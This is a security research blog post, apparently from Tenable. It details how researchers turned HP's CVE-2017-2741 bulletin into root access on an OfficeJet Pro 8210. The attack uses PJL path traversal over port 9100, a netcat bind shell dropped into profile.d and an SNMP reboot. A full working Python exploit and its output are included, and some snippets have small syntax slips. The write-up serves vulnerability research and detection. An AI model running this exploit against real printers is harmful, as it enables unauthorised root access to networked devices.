Rooting a Printer: From Security Bulletin to Remote Code Execution
Printers. They are everywhere. In big businesses. In small businesses. In our homes. In our schools. Wherever you go, there they are. But where are they in your threat model? When was the last time you updated the firmware? Do you know if there are public exploits for your printer?
For example, in early April, Hewlett Packard released a security bulletin titled, HP PageWide Printers, HP OfficeJet Pro Printers, Arbitrary Code Execution. The bulletin states:
A potential security vulnerability has been identified with certain HP printers. This vulnerability could potentially be exploited to execute arbitrary code.
That’s not an especially useful summary since most customers will stop reading at “potential.” Even more useless is the description of the assigned CVE (2017-2741). At the time of writing, over two months after the HP security bulletin, the CVE lacks any type of description because it remains in the “RESERVED” state.
Ever curious, the Tenable reverse engineers were intrigued by this “potential” security vulnerability that was given a CVSSv2 score of 9.8. Always willing to indulge our curiosity, we purchased a couple of printers listed in the advisory (HP OfficeJet Pro 8210).
A new type of printer stack
Purchasing new hardware and hoping the vulnerable firmware is still installed is always a gamble. Who knows how much work it will require to undo the patching? Fortunately, both printers arrived with vulnerable firmware installed and updates disabled.
Firmware details in the web interface
One of the many frustrating things about Hewlett Packard’s security bulletin is that it tells the reader to download the firmware update from www.hp.com/support. Good luck with that though; the OfficeJet Pro 8210’s firmware isn’t available for download. However, using the Install updates automatically and Check now features on the printer’s web interface, we were able to update a printer to a patched firmware.
At this point, we had both a patched and an unpatched printer. Time to start digging for remote code execution.
We started with an Nmap scan to find the open printer’s ports:
albinolobster@ubuntu:~$ nmap -A 192.168.1.159
Starting Nmap 7.01 ( https://nmap.org ) at 2017-06-08 10:31 PDT
Nmap scan report for HP0A6BFE.westeros (192.168.1.159)
Host is up (0.014s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
80/tcp open http HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
443/tcp open ssl/https HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
515/tcp open printer
631/tcp open ssl/ipp HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
8080/tcp open http-proxy HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
9100/tcp open jetdirect?
There’s nothing too surprising here. HTTP servers listening on ports 80, 443, and 8080. Line Printer Daemon (LPD) on port 515. Internet Printing Protocol (IPP) on port 631. Nmap flags port 9100 as “jetdirect?” which generally means “raw printing” or port 9100 printing.
HP refers to port 9100 printing as “HP proprietary,” but it’s widely known that it supports raw printing as well as PCL, PostScript, and PJL. Here’s a simple example of using PJL over port 9100 to get the printer’s device information:
albinolobster@ubuntu:~$ nc 192.168.1.159 9100
@PJL INFO ID
@PJL INFO ID
"HP OfficeJet Pro 8210"
Jens Müller recently wrote a paper titled Exploiting Network Printers: A Survey of Security Flaws in Laser Printers and Multi-Function Devices that details common vulnerabilities in printers. One of the common vulnerabilities the author presents is path traversal via PJL. For example, consider the following PJL command for listing a directory on the printer:
albinolobster@ubuntu:~$ nc 192.168.1.159 9100
@PJL FSDIRLIST NAME="0:/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/" ENTR
tmp/ TYPE=DIR
csr_misc/ TYPE=DIR
You can see the directory name being listed is 0:/ and that the printer responds with two sub-directories: tmp/ and csr_misc/. What happens if you try to move up a couple of directories using the path 0:/../../?
albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="0:/../../" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/../../" ENTRY=1
rw/ TYPE=DIR
ram/ TYPE=DIR
rom/ TYPE=DIR
.sig/ TYPE=DIR
As you can see, the printer responds with a new list of directories. It looks like we might have an attack vector here. Below, you can see that executing the same PJL command on the patched printer generates a FILEERROR. We know HP has fixed this between our two firmware versions. There is a good chance this could lead to the security bulletin’s remote code execution.
albinolobster@ubuntu:~$ nc 192.168.1.159 9100
@PJL FSDIRLIST NAME="0:/../../" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/../../"
FILEERROR=0
However, this traversal doesn’t seem immediately useful. The file structure doesn’t look like any root filesystem the I’m familiar with. Perhaps there is another directory traversal vector?
albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="../../" ENTRY=1 COUNT=4
@PJL FSDIRLIST NAME="../../"
FILEERROR=0
@PJL FSDIRLIST NAME="../../bin/" ENTRY=1 COUNT=4
@PJL FSDIRLIST NAME="../../bin/" ENTRY=1
getopt TYPE=FILE SIZE=880020
setarch TYPE=FILE SIZE=880020
dd TYPE=FILE SIZE=880020
cp TYPE=FILE SIZE=880020
Here, I tried ../../ but that generated a FILEERROR. However, ../../bin lists files that you’d find in a traditional Linux /bin directory. It appears you can traverse into the Linux filesystem.
But how can you turn these directory traversals into remote code execution? First, you need to know a few other PJL commands: FSQUERY, FSUPLOAD, and FSDOWNLOAD. These three commands will give you r/w access to the printer’s filesystems. For example, I can leverage FSQUERY and FSUPLOAD with the directory traversal to retrieve the contents of /etc/passwd:
@PJL FSUPLOAD NAME="../../etc/passwd" OFFSET=0 SIZE=648
@PJL FSUPLOAD FORMAT:BINARY NAME="../../etc/passwd" OFFSET=0 SIZE=648
root:x:0:0:root:/var/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
operator:x:37:37:Operator:/var:/bin/sh
haldaemon:x:68:68:hald:/:/bin/sh
dbus:x:81:81:dbus:/var/run/dbus:/bin/sh
ftp:x:83:83:ftp:/home/ftp:/bin/sh
nobody:x:99:99:nobody:/home:/bin/sh
sshd:x:103:99:Operator:/var:/bin/sh
default:x:1000:1000:Default non-root user:/home/default:/bin/sh
_ntp:x:100:99:Linux User,,,:/run/ntp:/bin/false
Who cares about reading files though? I want to write them. FSDOWNLOAD requires sending the ESC character so instead of using Netcat I’ve written a Python script that tries to write to ../../tmp/writing_test:
import socket
import sys
test = ('test')
if len(sys.argv) != 3:
print '\nUsage:upload.py [ip] [port]\n'
sys.exit()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(test)) + ' NAME="../../tmp/writing_test"\r\n'
dir_query += test
dir_query += '\x1b%-12345X'
sock.sendall(dir_query)
sock.close()
Unfortunately, this script fails to write the file. It appears the process interpreting the PJL doesn’t have write access on the Linux filesystem:
albinolobster@ubuntu:~$ python write_test.py 192.168.1.158 9100
connecting to 192.168.1.158 port 9100
albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSQUERY NAME="../../tmp/writing_test"
@PJL FSQUERY NAME="../../tmp/writing_test"
FILEERROR=0
This is a big blow to our attempt to gain remote code execution. Without access to the Linux filesystem, the odds of replacing a binary or getting a Bash script executed are greatly diminished. At this point, our only hope is that the 0:/ filesystem is writable and that a file written there can get executed in some way.
I’ll spare you the boring details of combing through the 0:/ filesystem, but I eventually noticed that there was some overlap with the Linux filesystem. In particular, 0:/../../rw/var/etc/profile.d/ caught my eye because, traditionally, the profile.d directory contains scripts that get executed at startup. Furthermore, the directories appeared to contain the same data:
albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="0:/../../rw/var/etc/profile.d/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/../../rw/var/etc/profile.d/" ENTRY=1
.sig/ TYPE=DIR
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1<
.sig/ TYPE=DIR
In order to test if I could write to profile.d via the 0:/ filesystem, I updated the FSDOWNLOAD Python script to write a file to 0:/../../rw/var/etc/profile.d/writing_test:
import socket
import sys
test = ('test')
if len(sys.argv) != 3:
print '\nUsage:upload.py [ip] [port]\n'
sys.exit()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(test)) + ' NAME="0:/../../rw/var/etc/profile.d/writing_test"\r\n
dir_query += test
dir_query += '\x1b%-12345X'
sock.sendall(dir_query)
sock.close()
As you can see below, the Python script now works! The new file is also visible via traversal of the Linux filesystem:
albinolobster@ubuntu:~$ python write_test.py 192.168.1.158 9100
connecting to 192.168.1.158 port 9100
albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1
.sig/ TYPE=DIR
writing_test TYPE=FILE SIZE=4
You now have write access to a location that likely contains startup scripts. You are so close to remote code execution. Now you just need to write a script and figure out how to reboot the printer so the script will get executed.
The obvious choice for our startup script is one that will give us shell access. Since the printer has netcat installed, I chose to to create a script that creates a bind shell on port 1270:
if [ ! -p /tmp/pwned ]; then
mkfifo /tmp/pwned
cat /tmp/pwned | /bin/sh 2>&1 | /usr/bin/nc -l 1270 > /tmp/pwned &
fi
With that decided, our focus shifts to remotely rebooting the printer. One method would be using the Power Cycle function in the web interface (under the Tools menu). Another method is using the SNMP printer MIB to power cycle the device.
albinolobster@ubuntu:~$ snmpset -v1 -c public 192.168.1.158 1.3.6.1.2.1.43.5.1.1.3.1 i 4
iso.3.6.1.2.1.43.5.1.1.3.1 = INTEGER: 4
In the following script, I’ve combined writing the startup script to the profile.d directory and the SNMP reboot:
##
# Create a bind shell on an unpatched OfficeJet 8210
# Write a script to profile.d and reboot the device. When it comes
# back online then nc to port 1270.
#
# easysnmp instructions:
# sudo apt-get install libsnmp-dev
# pip install easysnmp
##
import socket
import sys
from easysnmp import snmp_set
profile_d_script = ('if [ ! -p /tmp/pwned ]; then\n'
'\tmkfifo /tmp/pwned\n'
'\tcat /tmp/pwned | /bin/sh 2>&1 | /usr/bin/nc -l 1270 > /tmp/pwned &\n
'fi\n')
if len(sys.argv) != 3:
print '\nUsage:upload.py [ip] [port]\n'
sys.exit()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(profile_d_script)) + ' NAME="0:/../../rw/var/etc/profile.d/lol.sh"\r\n'
dir_query += profile_d_script
dir_query += '\x1b%-12345X'
sock.sendall(dir_query)
sock.close()
sock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock1.connect(server_address)
dir_query = '@PJL FSQUERY NAME="0:/../../rw/var/etc/profile.d/lol.sh"\r\n'
sock1.sendall(dir_query)
response = ''
while True:
data = sock1.recv(1)
if '\n' == data: break
response += data
print response
snmp_set('.1.3.6.1.2.1.43.5.1.1.3.1', 4, 'integer', hostname='192.168.1.158', community='public', version=1)
print 'Done! Try port 1270 in ~30 seconds'
You can run the script and, about thirty seconds later, have a root shell via port 1270.
albinolobster@ubuntu:~$ python printer_exploit.py 192.168.1.158 9100
connecting to 192.168.1.158 port 9100
@PJL FSQUERY NAME="0:/../../rw/var/etc/profile.d/lol.sh" TYPE=FILE SIZE=119
Done! Try port 1270 in ~30 seconds
albinolobster@ubuntu:~$ nc 192.168.1.158 1270
whoami
root
Tenable solutions
Fortunately for everyone, this little vulnerability is quite easy to detect once you understand the attack vector. Tenable released Nessus plugin 100461 in late May to detect this vulnerability. Also, changes were made so that Nessus no longer causes port 9100 to print during service discovery. Hopefully, that will encourage more customers to enable printer scanning.
To summarize, don’t overlook printers in your threat model. A printer is a computer and it should be treated like one. Scan it. Update it. Monitor it. Who knows what might lurk within?
Related Articles
- Nessus
- Plugins
- Vulnerability Management